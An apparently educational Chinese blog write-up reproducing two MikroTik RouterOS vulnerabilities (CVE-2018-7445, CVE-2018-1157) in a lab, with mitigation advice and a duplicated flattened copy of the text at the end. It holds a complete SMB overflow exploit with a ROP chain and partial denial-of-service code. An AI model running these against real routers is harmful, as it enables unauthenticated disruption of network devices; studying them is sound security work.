mikrotik 漏洞复现(一)
字数 1287 2025-08-30 06:50:11

MikroTik RouterOS漏洞复现与分析

环境配置

  1. 从MikroTik官网下载对应版本的RouterOS镜像文件
  2. 新建虚拟机并完成安装配置
  3. 配置MikroTik终端IP地址
  4. 使用mikrotik-tools工具运行脚本开启telnet服务

CVE-2018-7445漏洞分析

漏洞描述

  • 漏洞类型:缓冲区溢出
  • 影响组件:SMB服务
  • 漏洞位置:处理NetBIOS会话请求消息时
  • 影响范围:运行6.41.3/6.42rc27之前RouterOS的所有架构和设备
  • 利用条件:无需身份验证,服务开启即可利用

漏洞复现步骤

  1. 启动SMB服务

    • 在MikroTik虚拟机中确认SMB服务状态
    • 在Ubuntu中查看进程确认服务已启动
    • 通过Web服务验证访问
  2. 提取分析二进制文件

    • 提取有漏洞的smb二进制文件
    • 使用IDA分析:ELF 32-bit格式,几乎没有保护机制
    • 定位漏洞代码位置:0x08054607
  3. 调试环境搭建

    • 上传gdbserver.i686到虚拟机
    • 附加调试程序:
      ./gdbserver.i686 localhost:1234 --attach 302
      
    • 本地gdb连接:
      gdb set architecture i386
      target remote 192.168.72.140:1234
      
  4. 漏洞触发分析

    • 在sub_806B11C函数下断点
    • 使用smbclient发包:
      smbclient -L //192.168.72.140
      
    • 使用Wireshark抓包分析
    • 修改数据包绕过检查条件
  5. 构造利用载荷

    • 确定溢出长度:64字节
    • 构造ROP链:
      • 使用vdso中的gadget:0xffffe422 (int 0x80)
      • 寄存器传参gadget:
        • 0x0804f7da (pop eax ; pop ebx ; pop ebp ; ret)
        • 0x08054017 (pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret)
  6. 最终利用

    • 执行系统调用SYS_execve
    • 成功使系统重启

完整EXP代码

import socket
from pwn import *

# SMB二进制数据包
smb_packet = bytes.fromhex("""
81 00 00 ec fe 53 4d 42 40 00 00 00 00 00 00 00 
00 00 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 ff ff
""")
smb_packet += b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaa"

# 构造ROP链
int_0x80_popebp_popedx_popecx_ret = 0xffffe422
popedx_popecx_popebx_popesi_popedi_popebp_ret = 0x08054017
popeax_popebx_popebp_ret = 0x0804f7da
str_sh_addr = 0xffffe436

payload = p32(popedx_popecx_popebx_popesi_popedi_popebp_ret)
payload += p32(0x1234567) + p32(672274793) + p32(0xfee1dead) + p32(0) + p32(0) + p32(0)
payload += p32(popeax_popebx_popebp_ret)
payload += p32(0x58) + p32(0xfee1dead) + p32(0)
payload += p32(int_0x80_popebp_popedx_popecx_ret)
payload += b"a"*0x100

smb_packet += payload

# 配置目标
target_ip = "192.168.72.140"
target_port = 445

# 发送攻击包
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(5)
    print(f"[+] Connecting to {target_ip}:{target_port}...")
    s.connect((target_ip, target_port))
    print("[+] Sending SMB packet...")
    s.sendall(smb_packet)
    try:
        response = s.recv(4096)
        print(f"[+] Received {len(response)} bytes in response:")
        print(response.hex())
    except socket.timeout:
        print("[-] No response received (timeout)")

CVE-2018-1157漏洞分析

漏洞描述

  • 影响组件:www服务(80端口)
  • 利用路径:/jsproxy/upload
  • 利用方式:发送特制的POST请求导致资源耗尽

漏洞复现步骤

  1. 服务分析

    • 确认www服务运行状态
    • 使用bp抓包分析POST请求
    • 请求路径为/jsproxy,数据被加密
  2. 定位漏洞组件

    • 找到jsproxy处理程序
    • 确认其为共享库(.so文件)
    • 在www程序中找到加载的jsproxy.p文件
  3. 漏洞定位

    • 漏洞位置:sub_774BBE9F函数
    • 漏洞成因:循环解析数据时未正确处理长度限制
  4. 构造利用

    • 使用RouterOS官方提供的C++ winboxapi库
    • 构造超长文件名(超过0x100个字符)
    • 多次发送请求耗尽系统资源

部分EXP代码

if (!jsSession.negotiateEncryption(username, password)) {
    std::cerr << "Encryption negotiation failed." << std::endl;
    return EXIT_FAILURE;
}

std::string filename;
for (int i = 0; i < 0x200; i++) {
    filename.push_back('A'); // 填充超过0x100个字符
}

if (jsSession.uploadFile(filename, "lol.")) {
    std::cout << "success!" << std::endl;
}

防御建议

  1. 及时更新RouterOS到最新版本
  2. 关闭不必要的服务(SMB、jsproxy等)
  3. 限制对管理接口的访问
  4. 配置适当的资源限制防止DoS攻击
  5. 监控系统日志异常行为

总结

本文详细分析了MikroTik RouterOS中的两个严重漏洞(CVE-2018-7445和CVE-2018-1157),包括漏洞原理、复现步骤和利用方法。通过这两个漏洞的复现过程,可以深入理解RouterOS的安全机制和漏洞利用技术。

MikroTik RouterOS漏洞复现与分析 环境配置 从MikroTik官网下载对应版本的RouterOS镜像文件 新建虚拟机并完成安装配置 配置MikroTik终端IP地址 使用mikrotik-tools工具运行脚本开启telnet服务 CVE-2018-7445漏洞分析 漏洞描述 漏洞类型:缓冲区溢出 影响组件:SMB服务 漏洞位置:处理NetBIOS会话请求消息时 影响范围:运行6.41.3/6.42rc27之前RouterOS的所有架构和设备 利用条件:无需身份验证,服务开启即可利用 漏洞复现步骤 启动SMB服务 在MikroTik虚拟机中确认SMB服务状态 在Ubuntu中查看进程确认服务已启动 通过Web服务验证访问 提取分析二进制文件 提取有漏洞的smb二进制文件 使用IDA分析:ELF 32-bit格式,几乎没有保护机制 定位漏洞代码位置:0x08054607 调试环境搭建 上传gdbserver.i686到虚拟机 附加调试程序: 本地gdb连接: 漏洞触发分析 在sub_ 806B11C函数下断点 使用smbclient发包: 使用Wireshark抓包分析 修改数据包绕过检查条件 构造利用载荷 确定溢出长度:64字节 构造ROP链: 使用vdso中的gadget:0xffffe422 (int 0x80) 寄存器传参gadget: 0x0804f7da (pop eax ; pop ebx ; pop ebp ; ret) 0x08054017 (pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret) 最终利用 执行系统调用SYS_ execve 成功使系统重启 完整EXP代码 CVE-2018-1157漏洞分析 漏洞描述 影响组件:www服务(80端口) 利用路径:/jsproxy/upload 利用方式:发送特制的POST请求导致资源耗尽 漏洞复现步骤 服务分析 确认www服务运行状态 使用bp抓包分析POST请求 请求路径为/jsproxy,数据被加密 定位漏洞组件 找到jsproxy处理程序 确认其为共享库(.so文件) 在www程序中找到加载的jsproxy.p文件 漏洞定位 漏洞位置:sub_ 774BBE9F函数 漏洞成因:循环解析数据时未正确处理长度限制 构造利用 使用RouterOS官方提供的C++ winboxapi库 构造超长文件名(超过0x100个字符) 多次发送请求耗尽系统资源 部分EXP代码 防御建议 及时更新RouterOS到最新版本 关闭不必要的服务(SMB、jsproxy等) 限制对管理接口的访问 配置适当的资源限制防止DoS攻击 监控系统日志异常行为 总结 本文详细分析了MikroTik RouterOS中的两个严重漏洞(CVE-2018-7445和CVE-2018-1157),包括漏洞原理、复现步骤和利用方法。通过这两个漏洞的复现过程,可以深入理解RouterOS的安全机制和漏洞利用技术。